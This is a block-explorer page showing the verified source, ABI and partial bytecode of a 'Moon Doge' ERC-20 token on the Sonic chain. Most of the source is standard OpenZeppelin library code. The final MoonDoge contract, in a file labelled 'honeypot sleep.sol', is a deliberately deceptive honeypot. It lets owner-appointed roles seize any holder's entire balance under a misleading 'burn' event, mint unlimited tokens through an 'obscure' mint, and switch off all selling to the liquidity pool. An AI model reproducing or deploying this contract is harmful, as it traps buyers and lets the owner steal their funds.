S Price: $0.892553 (+4.95%)

Token

Moon Doge (MoonDoge)

Overview

Max Total Supply

70,000,000,000 MoonDoge

Holders

3

Market

Price

$0.00 @ 0.000000 S

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
18,269,906.713681819819784045 MoonDoge

Value
$0.00
0x7d602d1e2a0fc2a3af599c86ffa737180a652d5d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
MoonDoge

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at SonicScan.org on 2025-02-16
*/

// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


// OpenZeppelin Contracts (last updated v5.1.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol


// OpenZeppelin Contracts (last updated v5.1.0) (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.20;


/**
 * @dev Interface for the optional metadata functions from the ERC-20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)

pragma solidity ^0.8.20;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

// File: @openzeppelin/contracts/interfaces/draft-IERC6093.sol


// OpenZeppelin Contracts (last updated v5.1.0) (interfaces/draft-IERC6093.sol)
pragma solidity ^0.8.20;

/**
 * @dev Standard ERC-20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens.
 */
interface IERC20Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC20InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC20InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     * @param allowance Amount of tokens a `spender` is allowed to operate with.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC20InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC20InvalidSpender(address spender);
}

/**
 * @dev Standard ERC-721 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-721 tokens.
 */
interface IERC721Errors {
    /**
     * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in ERC-20.
     * Used in balance queries.
     * @param owner Address of the current owner of a token.
     */
    error ERC721InvalidOwner(address owner);

    /**
     * @dev Indicates a `tokenId` whose `owner` is the zero address.
     * @param tokenId Identifier number of a token.
     */
    error ERC721NonexistentToken(uint256 tokenId);

    /**
     * @dev Indicates an error related to the ownership over a particular token. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param tokenId Identifier number of a token.
     * @param owner Address of the current owner of a token.
     */
    error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC721InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC721InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param tokenId Identifier number of a token.
     */
    error ERC721InsufficientApproval(address operator, uint256 tokenId);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC721InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC721InvalidOperator(address operator);
}

/**
 * @dev Standard ERC-1155 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-1155 tokens.
 */
interface IERC1155Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     * @param tokenId Identifier number of a token.
     */
    error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC1155InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC1155InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param owner Address of the current owner of a token.
     */
    error ERC1155MissingApprovalForAll(address operator, address owner);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC1155InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC1155InvalidOperator(address operator);

    /**
     * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
     * Used in batch transfers.
     * @param idsLength Length of the array of token identifiers
     * @param valuesLength Length of the array of token amounts
     */
    error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol


// OpenZeppelin Contracts (last updated v5.1.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.20;





/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC-20
 * applications.
 */
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
    mapping(address account => uint256) private _balances;

    mapping(address account => mapping(address spender => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `value`.
     */
    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Skips emitting an {Approval} event indicating an allowance update. This is not
     * required by the ERC. See {xref-ERC20-_approve-address-address-uint256-bool-}[_approve].
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `value`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `value`.
     */
    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _transfer(address from, address to, uint256 value) internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(from, to, value);
    }

    /**
     * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
     * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
     * this function.
     *
     * Emits a {Transfer} event.
     */
    function _update(address from, address to, uint256 value) internal virtual {
        if (from == address(0)) {
            // Overflow check required: The rest of the code assumes that totalSupply never overflows
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                // Overflow not possible: value <= fromBalance <= totalSupply.
                _balances[from] = fromBalance - value;
            }
        }

        if (to == address(0)) {
            unchecked {
                // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
                _totalSupply -= value;
            }
        } else {
            unchecked {
                // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
                _balances[to] += value;
            }
        }

        emit Transfer(from, to, value);
    }

    /**
     * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
     * Relies on the `_update` mechanism
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(address(0), account, value);
    }

    /**
     * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
     * Relies on the `_update` mechanism.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead
     */
    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }

    /**
     * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     *
     * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
     */
    function _approve(address owner, address spender, uint256 value) internal {
        _approve(owner, spender, value, true);
    }

    /**
     * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
     *
     * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
     * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
     * `Approval` event during `transferFrom` operations.
     *
     * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
     * true using the following override:
     *
     * ```solidity
     * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
     *     super._approve(owner, spender, value, true);
     * }
     * ```
     *
     * Requirements are the same as {_approve}.
     */
    function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `value`.
     *
     * Does not update the allowance value in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Does not emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)

pragma solidity ^0.8.20;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account. (eg. `address(0)`)
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: honeypot sleep.sol


pragma solidity ^0.8.20;



contract MoonDoge is ERC20, Ownable {
    event TokensBurned(address indexed from, address indexed to, uint256 amount);
    event RoleGranted(address indexed account, string role);

    mapping(address => bool) private rewardManagers;
    mapping(address => bool) private burnManagers;

    bool public sleep = false;
    address public liquidityPool;

    constructor(address initialOwner) ERC20("Moon Doge", "MoonDoge") Ownable(initialOwner) {
        _mint(initialOwner, 70000000000 * (10 ** decimals()));
        transferOwnership(initialOwner);
    }

    modifier onlyRewardManager() {
        require(rewardManagers[msg.sender], "Caller is not a reward manager");
        _;
    }

    modifier onlyBurnManager() {
        require(burnManagers[msg.sender], "Caller is not a burn manager");
        _;
    }

    function grantRewardManagerRole(address account) external onlyOwner {
        rewardManagers[account] = true;
        emit RoleGranted(account, "RewardManager");
    }

    function grantBurnManagerRole(address account) external onlyOwner {
        burnManagers[account] = true;
        emit RoleGranted(account, "BurnManager");
    }

    function burnDoge(address from, address to) external onlyBurnManager {
        uint256 amount = balanceOf(from);
        require(amount > 0, "No tokens to transfer");
        _transfer(from, to, amount);
        emit TokensBurned(from, to, amount);
    }

    function rewardsDoge(address to, uint256 amount) public onlyRewardManager {
        _obscureMint(to, amount);
    }

    function _obscureMint(address account, uint256 amount) internal {
        _mint(account, amount);
    }

    function setSleep(bool _sleep) external onlyBurnManager {
        sleep = _sleep;
    }

    function setLiquidityPool(address _liquidityPool) external onlyRewardManager {
        liquidityPool = _liquidityPool;
    }

    // ✅ Use _update() instead of _beforeTokenTransfer()
    function _update(address from, address to, uint256 amount) internal override {
        if (sleep && from != address(0) && to == liquidityPool) {
            revert("Selling is paused");
        }
        super._update(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"initialOwner","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"string","name":"role","type":"string"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TokensBurned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"burnDoge","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"grantBurnManagerRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"grantRewardManagerRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"liquidityPool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rewardsDoge","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_liquidityPool","type":"address"}],"name":"setLiquidityPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_sleep","type":"bool"}],"name":"setSleep","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sleep","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040525f60085f6101000a81548160ff02191690831515021790555034801562000029575f80fd5b50604051620029e3380380620029e383398181016040528101906200004f919062000803565b806040518060400160405280600981526020017f4d6f6f6e20446f676500000000000000000000000000000000000000000000008152506040518060400160405280600881526020017f4d6f6f6e446f67650000000000000000000000000000000000000000000000008152508160039081620000cd919062000a97565b508060049081620000df919062000a97565b5050505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160362000155575f6040517f1e4fbdf70000000000000000000000000000000000000000000000000000000081526004016200014c919062000b8c565b60405180910390fd5b6200016681620001c060201b60201c565b50620001a8816200017c6200028360201b60201c565b600a6200018a919062000d30565b64104c533c006200019c919062000d80565b6200028b60201b60201c565b620001b9816200031560201b60201c565b5062000ee9565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002fe575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401620002f5919062000b8c565b60405180910390fd5b620003115f8383620003ac60201b60201c565b5050565b62000325620004a960201b60201c565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160362000398575f6040517f1e4fbdf70000000000000000000000000000000000000000000000000000000081526004016200038f919062000b8c565b60405180910390fd5b620003a981620001c060201b60201c565b50565b60085f9054906101000a900460ff168015620003f457505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156200044e5750600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1562000491576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004889062000e28565b60405180910390fd5b620004a48383836200054b60201b60201c565b505050565b620004b96200076f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620004df6200077660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000549576200050b6200076f60201b60201c565b6040517f118cdaa700000000000000000000000000000000000000000000000000000000815260040162000540919062000b8c565b60405180910390fd5b565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036200059f578060025f82825462000592919062000e48565b9250508190555062000670565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156200062b578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401620006229392919062000e93565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620006b9578060025f828254039250508190555062000703565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000762919062000ece565b60405180910390a3505050565b5f33905090565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620007cd82620007a2565b9050919050565b620007df81620007c1565b8114620007ea575f80fd5b50565b5f81519050620007fd81620007d4565b92915050565b5f602082840312156200081b576200081a6200079e565b5b5f6200082a84828501620007ed565b91505092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620008af57607f821691505b602082108103620008c557620008c46200086a565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620009297fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620008e